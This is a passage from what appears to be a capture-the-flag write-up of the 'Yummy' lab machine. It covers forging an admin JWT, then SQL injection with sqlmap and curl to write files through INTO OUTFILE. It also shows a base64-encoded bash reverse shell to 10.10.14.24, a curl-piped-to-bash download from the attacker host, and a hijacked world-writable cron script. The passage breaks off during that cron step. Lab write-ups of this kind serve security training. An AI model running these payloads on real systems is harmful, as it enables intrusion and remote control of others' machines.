  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/yummy</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">python jwt_forge.py 'ch3ng@ch3ng.com'</span>
<span class="cmd-output">
[+] Coprime pairs recovered!
[+] p: 543161
[+] q: 123391069088263744300500729347156568496347151248&lt;..SNIP..&gt;

[+] Administrative JWT generated:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImNoM2&lt;..SNIP..&gt;
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>I’ll add the token to my browser and reload. The app immediately redirects me to <code class="language-plaintext highlighter-rouge">/admindashboard</code>.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/yummy/admindashboard.png?raw=true" alt="" /></p>

<hr />
<h2 id="foothold">Foothold:</h2>
<h3 id="sql-injection">SQL Injection:</h3>

<p>The dashboard simply shows a list of all bookings made, with a search function implemented. As previously identifieid by Snyk, the <code class="language-plaintext highlighter-rouge">o</code> parameter is vulnerable to SQL injection.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/yummy/admin_sqli.png?raw=true" alt="" /></p>

<p>I’ll let <code class="language-plaintext highlighter-rouge">sqlmap</code> do the heavy lifting:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/yummy</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sqlmap -u 'http://yummy.htb/admindashboard?s=garcia&amp;o=ASC' -H "Cookie: X-AUTH-Token=$(cat jwt)" -p 'o'  --tables --batch</span>
<span class="cmd-output">
&nbsp;
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.9#stable}
|_ -| . [(]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 01:02:57 /2025-02-22/

[01:02:57] [INFO] resuming back-end DBMS 'mysql' 
[01:02:57] [INFO] testing connection to the target URL
&lt;.SNIP..&gt;
Database: information_schema
[79 tables]
+---------------------------------------+
| ADMINISTRABLE_ROLE_AUTHORIZATIONS     |
| APPLICABLE_ROLES                      |
| CHARACTER_SETS                        |
| CHECK_CONSTRAINTS                     |
&lt;..SNIP..&gt;
| PLUGINS                               |
| PROCESSLIST                           |
| TABLES                                |
| TRIGGERS                              |
+---------------------------------------+

Database: performance_schema
[8 tables]
+---------------------------------------+
| processlist                           |
| global_status                         |
| global_variables                      |
| persisted_variables                   |
| session_account_connect_attrs         |
| session_status                        |
| session_variables                     |
| variables_info                        |
+---------------------------------------+

Database: yummy_db
[2 tables]
+---------------------------------------+
| appointments                          |
| users                                 |
+---------------------------------------+


[*] ending @ 01:04:20 /2025-02-22/
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p><code class="language-plaintext highlighter-rouge">yummy_db</code> contains only two tables, with the <code class="language-plaintext highlighter-rouge">users</code> table surprisingly empty. I’ve also checked for privileges, and found out that <code class="language-plaintext highlighter-rouge">FILE</code> privilege is enabled.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/yummy</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sqlmap -u 'http://yummy.htb/admindashboard?s=garcia&amp;o=ASC' -H "Cookie: X-AUTH-Token=$(cat jwt)" -p 'o'  --privileges --batch</span>
<span class="cmd-output">
..SNIP..
[01:11:32] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL &gt;= 5.0
[01:11:32] [INFO] fetching database users privileges
[01:11:33] [INFO] retrieved: ''chef'@'localhost''
[01:11:34] [INFO] retrieved: 'FILE'
database management system users privileges:
[*] 'chef'@'localhost' [1]:
    privilege: FILE


[*] ending @ 01:11:34 /2025-02-22/
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>This essentially allows writing to arbitrary files using <code class="language-plaintext highlighter-rouge">SELECT "&lt;contents&gt;" INTO OUTFILE "&lt;filepath&gt;"</code>, providing the SQL user has write access in the target directory. However, unlike PHP servers, it’s not as easy as dropping a web shell in the web root. Creating a bash script is possible, but I’ll need to find a way to trigger it.</p>

<h3 id="mysql-cron"><code class="language-plaintext highlighter-rouge">mysql</code> Cron:</h3>

<p>I’ll have another look at mysql’s per-minute cron job running <code class="language-plaintext highlighter-rouge">/data/scripts/dbmonitor.sh</code>:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>

<span class="nv">timestamp</span><span class="o">=</span><span class="si">$(</span>/usr/bin/date<span class="si">)</span>
<span class="nv">service</span><span class="o">=</span>mysql
<span class="nv">response</span><span class="o">=</span><span class="si">$(</span>/usr/bin/systemctl is-active mysql<span class="si">)</span>

<span class="k">if</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$response</span><span class="s2">"</span> <span class="o">!=</span> <span class="s1">'active'</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
    /usr/bin/echo <span class="s2">"{</span><span class="se">\"</span><span class="s2">status</span><span class="se">\"</span><span class="s2">: </span><span class="se">\"</span><span class="s2">The database is down</span><span class="se">\"</span><span class="s2">, </span><span class="se">\"</span><span class="s2">time</span><span class="se">\"</span><span class="s2">: </span><span class="se">\"</span><span class="nv">$timestamp</span><span class="se">\"</span><span class="s2">}"</span> <span class="o">&gt;</span> /data/scripts/dbstatus.json
    /usr/bin/echo <span class="s2">"</span><span class="nv">$service</span><span class="s2"> is down, restarting!!!"</span> | /usr/bin/mail <span class="nt">-s</span> <span class="s2">"</span><span class="nv">$service</span><span class="s2"> is down!!!"</span> root
    <span class="nv">latest_version</span><span class="o">=</span><span class="si">$(</span>/usr/bin/ls <span class="nt">-1</span> /data/scripts/fixer-v<span class="k">*</span> 2&gt;/dev/null | /usr/bin/sort <span class="nt">-V</span> | /usr/bin/tail <span class="nt">-n</span> 1<span class="si">)</span>
    /bin/bash <span class="s2">"</span><span class="nv">$latest_version</span><span class="s2">"</span>
<span class="k">else
    if</span> <span class="o">[</span> <span class="nt">-f</span> /data/scripts/dbstatus.json <span class="o">]</span><span class="p">;</span> <span class="k">then
        if </span><span class="nb">grep</span> <span class="nt">-q</span> <span class="s2">"database is down"</span> /data/scripts/dbstatus.json 2&gt;/dev/null<span class="p">;</span> <span class="k">then</span>
            /usr/bin/echo <span class="s2">"The database was down at </span><span class="nv">$timestamp</span><span class="s2">. Sending notification."</span>
            /usr/bin/echo <span class="s2">"</span><span class="nv">$service</span><span class="s2"> was down at </span><span class="nv">$timestamp</span><span class="s2"> but came back up."</span> | /usr/bin/mail <span class="nt">-s</span> <span class="s2">"</span><span class="nv">$service</span><span class="s2"> was down!"</span> root
            /usr/bin/rm <span class="nt">-f</span> /data/scripts/dbstatus.json
        <span class="k">else</span>
            /usr/bin/rm <span class="nt">-f</span> /data/scripts/dbstatus.json
            /usr/bin/echo <span class="s2">"The automation failed in some way, attempting to fix it."</span>
            <span class="nv">latest_version</span><span class="o">=</span><span class="si">$(</span>/usr/bin/ls <span class="nt">-1</span> /data/scripts/fixer-v<span class="k">*</span> 2&gt;/dev/null | /usr/bin/sort <span class="nt">-V</span> | /usr/bin/tail <span class="nt">-n</span> 1<span class="si">)</span>
            /bin/bash <span class="s2">"</span><span class="nv">$latest_version</span><span class="s2">"</span>
        <span class="k">fi
    else</span>
        /usr/bin/echo <span class="s2">"Response is OK."</span>
    <span class="k">fi
fi</span>

<span class="o">[</span> <span class="nt">-f</span> dbstatus.json <span class="o">]</span> <span class="o">&amp;&amp;</span> /usr/bin/rm <span class="nt">-f</span> dbstatus.json
</code></pre></div></div>

<p>The wildcard caught my attention. It’s grabbing the latest script in <code class="language-plaintext highlighter-rouge">/data/scripts/</code> that starts with “fixer-v” and executing it.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">latest_version</span><span class="o">=</span><span class="si">$(</span>/usr/bin/ls <span class="nt">-1</span> /data/scripts/fixer-v<span class="k">*</span> 2&gt;/dev/null | /usr/bin/sort <span class="nt">-V</span> | /usr/bin/tail <span class="nt">-n</span> 1<span class="si">)</span>
/bin/bash <span class="s2">"</span><span class="nv">$latest_version</span><span class="s2">"</span>
</code></pre></div></div>

<p>This possibly means arbitrary code execution if I can create file named <code class="language-plaintext highlighter-rouge">fixer-v_</code> in that directory and write into it. However, the command is nested in several <code class="language-plaintext highlighter-rouge">if-else</code> statements. The following conditions must be satisfied for that line to run:</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">systemctl is-active mysql</code> must return “active”;</li>
  <li><code class="language-plaintext highlighter-rouge">/data/scripts/dbstatus.json</code> exists; and</li>
  <li><code class="language-plaintext highlighter-rouge">/data/scripts/dbstatus.json</code> does not contain “database is down”.</li>
</ol>

<p>Point 1 is almost certainly true, and I can also satisfy points 2 and 3 by creating <code class="language-plaintext highlighter-rouge">dbstatus.json</code> via SQL injection.</p>

<p>I’ll first set up an HTTP server hosting this reverse shell script:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>

<span class="nb">echo </span><span class="nv">L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjI0LzgwMDEgMD4mMQ</span><span class="o">==</span> | <span class="nb">base64</span> <span class="nt">-d</span> | bash
</code></pre></div></div>

<p>Then I’ll create the necessary files on the server with the following two <code class="language-plaintext highlighter-rouge">curl</code> commands:</p>

<p><code class="language-plaintext highlighter-rouge">$ curl -s -b "X-AUTH-Token=$(cat jwt)" 'http://yummy.htb/admindashboard?s=garcia&amp;o=ASC;+SELECT+"asdf"+INTO+OUTFILE+"/data/scripts/dbstatus.json";' &gt; /dev/null</code></p>

<p><code class="language-plaintext highlighter-rouge">$ curl -s -b "X-AUTH-Token=$(cat jwt)" 'http://yummy.htb/admindashboard?s=garcia&amp;o=ASC;+SELECT+"curl+http://10.10.14.24:8000/rev.sh+|+bash;"+INTO+OUTFILE+"/data/scripts/fixer-v_";' &gt; /dev/null</code></p>

<p>The fixer script and <code class="language-plaintext highlighter-rouge">dbstatus.json</code> should be created. After a short while, the <code class="language-plaintext highlighter-rouge">nc</code> listener caught a shell as <code class="language-plaintext highlighter-rouge">mysql</code>.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/yummy</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">rlwrap nc -lvnp 8001</span>
<span class="cmd-output">
listening on [any] 8001 ...
connect to [10.10.14.24] from (UNKNOWN) [10.129.195.30] 58998
bash: cannot set terminal process group (10955): Inappropriate ioctl for device
bash: no job control in this shell
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">mysql@yummy</span>:<span class="linux-path">/var/spool/cron</span><span class="linux-char">$</span></span> <span class="linux-bash">id</span>

<span class="linux-output">uid=110(mysql) gid=110(mysql) groups=110(mysql)</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<hr />
<h2 id="escalation-mysql">Escalation from <code class="language-plaintext highlighter-rouge">mysql</code>:</h2>
<h3 id="www-data-cron"><code class="language-plaintext highlighter-rouge">www-data</code> Cron:</h3>

<p>I’ll once again look at the cron jobs on the box. <code class="language-plaintext highlighter-rouge">www-data</code>’s running <code class="language-plaintext highlighter-rouge">/data/scripts/app_backup.sh</code> every minute. This was already leveraged once to discover and access the source code backup earlier.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
</code></pre></div></div>

<p>Notably, <code class="language-plaintext highlighter-rouge">/data/scripts/</code> is also globally writable. While I cannot directly edit <code class="language-plaintext highlighter-rouge">app_backup.sh</code>, I can simply rename or delete it and create a reverse shell script with the same name.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Yummy</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">mysql@yummy</span>:<span class="linux-path">/data/scripts</span><span class="linux-char">$</span></span> <span class="linux-bash">ls -la</span>

<span class="linux-output">total 32
drwxrwxrwx 2 root root 4096 Feb 21 16:20 .
drwxr-xr-x 3 root root 4096 Sep 30 08:16 ..
-rw-r--r-- 1 root root   90 Sep 26 15:31 app_backup.sh
-rw-r--r-- 1 root root 1336 Sep 26 15:31 dbmonitor.sh
-rw-r----- 1 root root   60 Feb 21 16:20 fixer-v1.0.1.sh
-rw-r--r-- 1 root root 5570 Sep 26 15:31 sqlappointments.sql
-rw-r--r-- 1 root root  114 Sep 26 15:31 table_cleanup.sh</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Here, I’ll simply replace <code class="language-plaintext highlighter-rouge">app_backup.sh</code> with the reverse shell payload I used earlier:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Yummy</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">mysql@yummy</span>:<span class="linux-path">/data/scripts</span><span class="linux-char">$</span></span> <span class="linux-bash">wget http://10.10.14.24:8000/rev.sh</span>

<span class="linux-output">--2025-02-21 16:28:52--  http://10.10.14.24:8000/rev.sh
Connecting to 10.10.14.24:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 102 [text/x-sh]
Saving to: ‘rev.sh’

rev.sh              100%[===================&gt;]     102  --.-KB/s    in 0s</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
